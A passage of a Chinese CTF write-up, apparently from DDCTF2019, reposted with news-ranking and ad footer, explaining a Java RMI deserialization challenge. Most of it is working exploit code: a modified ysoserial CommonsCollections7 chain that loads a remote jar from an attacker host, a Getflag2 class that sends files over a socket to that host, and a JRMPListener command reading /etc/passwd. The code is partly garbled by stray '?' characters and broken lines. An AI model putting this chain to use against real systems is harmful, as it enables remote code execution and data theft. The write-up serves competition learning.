public?class?CommonsCollections7?extends?PayloadRunner?implements?ObjectPa?yload< BadAttributeValueExpException>?{
public?BadAttributeValueExpException?getObject(final?String?fileName)?throws?Exception?{
//?inert?chain?for?setup
final?Transformer?transformerChain?=?new?ChainedTransformer(?new?Transformer[]{?new?ConstantTransformer(1)?});
//?real?chain?for?after?setup
final?Transformer[]?transformers?=?new?Transformer[]?{
new?ConstantTransformer(java.net.URLClassLoader.class),
//?getConstructor?class.class?classname?new?InvokerTransformer("getConstructor",
new?Class[]?{?Class[].class?},
new?Object[]?{?new?Class[]?{?java.net.URL[].class?}?}),
//?newinstance?string?http://www.iswin.org/attach/iswin.jar?new?InvokerTransformer(
"newInstance",
new?Class[]?{?Object[].class?},
new?Object[]?{?new?Object[]?{?new?java.net.URL[]?{?new?jav
a.net.URL(
}),
"http://ip:8080/getflag2.jar")?}?}?}),
//?loadClass?String.class?R
new?InvokerTransformer("loadClass",
new?Class[]?{?String.class?},?new?Object[]?{?"getflag2"
//?set?the?target?reverse?ip?and?port?new?InvokerTransformer("getConstructor",
new?Class[]?{?Class[].class?},
new?Object[]?{?new?Class[]?{?String.class?}?}),
//?invoke
new?InvokerTransformer("newInstance",?new?Class[]?{?Object[].class?},
new?Object[]?{?new?String[]?{?fileName?}?}),?new?ConstantTransformer(1)?};
final?Map?innerMap?=?new?HashMap();
final?Map?lazyMap?=?LazyMap.decorate(innerMap,?transformerChain);?TiedMapEntry?entry?=?new?TiedMapEntry(lazyMap,?"foo");
BadAttributeValueExpException?val?=?new?BadAttributeValueExpExcept?ion(null);
Field?valfield?=?val.getClass().getDeclaredField("val");?valfield.setAccessible(true);
valfield.set(val,?entry);
Reflections.setFieldValue(transformerChain,?"iTransformers",?trans?formers);?//?arm?with?actual?transformer?chain
return?val;
}
public?static?void?main(final?String[]?args)?throws?Exception?{?PayloadRunner.run(CommonsCollections7.class,?args);
}
public?static?boolean?isApplicableJavaVersion()?{?return?JavaVersion.isBadAttrValExcReadObj();
}
}
重新打包后丢到自己的vps上,顺便在在vps打包一个get?ag2.jar?Get?ag2.java
import?java.io.*;?import?java.net.Socket;
public?class?Getflag2?{
public?Getflag2(String?fileName)?{?try?{
Socket?socket?=?new?Socket("ip",?8080);
OutputStream?socketOutputStream?=?socket.getOutputStream();
DataOutputStream?dataOutputStream?=?new?DataOutputStream(socke?tOutputStream);
File?file?=?new?File(fileName);
if?(file.isDirectory())?{
for?(File?temp?:?file.listFiles())?{?dataOutputStream.writeUTF(temp.toString());
e);
}
}?else?{
FileInputStream?fileInputStream?=?new?FileInputStream(fil
InputStreamReader?inputStreamReader?=?new?InputStreamReade
r(fileInputStream);
BufferedReader?bufferedReader?=?new?BufferedReader(inputSt
reamReader);
String?line;
while?((line?=?bufferedReader.readLine())?!=?null)?{?dataOutputStream.writeUTF(line);
}
}
dataOutputStream.flush();
}?catch?(FileNotFoundException?e)?{?e.printStackTrace();
}?catch?(IOException?e)?{?e.printStackTrace();
}
}
}
然后在服务端上开一个web服务提供get?ag2.jar的下载,再开一个jrmp就可以看是随缘读?ag了。
java?-cp?ysoserial-0.0.6-SNAPSHOT-all.jar?ysoserial.exploit.JRMPListener?1?099?CommonsCollections7?'/etc/passwd'
?最后找到?ag在根目录的?ag文件夹下

补充说明
为什么ObjId没有被拦截,比赛时能打就没管了,如果分析错了请师傅们指正,表象是ObJid是并没有在序列化内容里面

本质上是最后序列化的点在 RemoteObject 里面执行了 writeObject

在 RemoteObject 这里 ref 是传入的 UnicastRef 对象

跟踪进入 UnicastRef 的 writeExternal

在 UnicastRef 这里ref是外部传入的 LiveRef

查看 LiveRef 的write方法,这里标红的id就是Objid。

最后查看ObjId的write

最后写入的是一个long型数字和ObjId类型没关系。
—————?End?—————
? ? 延伸阅读? ??
【知识库】DDCTF2019官方Write Up——Android篇
【知识库】DDCTF2019官方Write Up——Reverse篇
【知识库】DDCTF2019官方Write Up——Misc篇
官网题目仍开放访问,点击“阅读原文“前往
? ? 关于漏洞 ? ?
滴滴出行相关漏洞请提交至
http://sec.didichuxing.com/

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 中共中央召开党外人士座谈会 7904123
- 2 日本又发生6.6级地震 7809576
- 3 中国游客遇日本地震:连滚带爬躲厕所 7713088
- 4 全国首艘氢电拖轮作业亮点多 7616082
- 5 课本上明太祖画像换了 7520904
- 6 日本附近海域发生7.5级地震 7424730
- 7 亚洲最大“清道夫”落户中国洋浦港 7333583
- 8 日本地震当地居民拍下自家书柜倒塌 7232925
- 9 银行网点正消失:今年超9000家关停 7141984
- 10 “人造太阳”何以照进现实 7039579







滴滴安全应急响应中心
